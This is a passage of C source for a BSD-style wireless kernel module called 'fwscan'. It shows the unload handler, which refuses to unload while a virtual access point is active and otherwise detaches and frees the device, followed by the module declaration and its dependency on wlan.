(!TAILQ_EMPTY(&sc->sc_ic.ic_vaps)) { kprintf("fwscan: vap still active, refusing unload\n"); return EBUSY; } ieee80211_ifdetach(&sc->sc_ic); kfree(sc, M_DEVBUF); fw_sc = NULL; kprintf("fwscan: detached\n"); return 0; } return 0; } static moduledata_t fwscan_mod = { "fwscan", fw_modevent, 0 }; DECLARE_MODULE(fwscan, fwscan_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_DEPEND(fwscan, wlan, 1, 1, 1);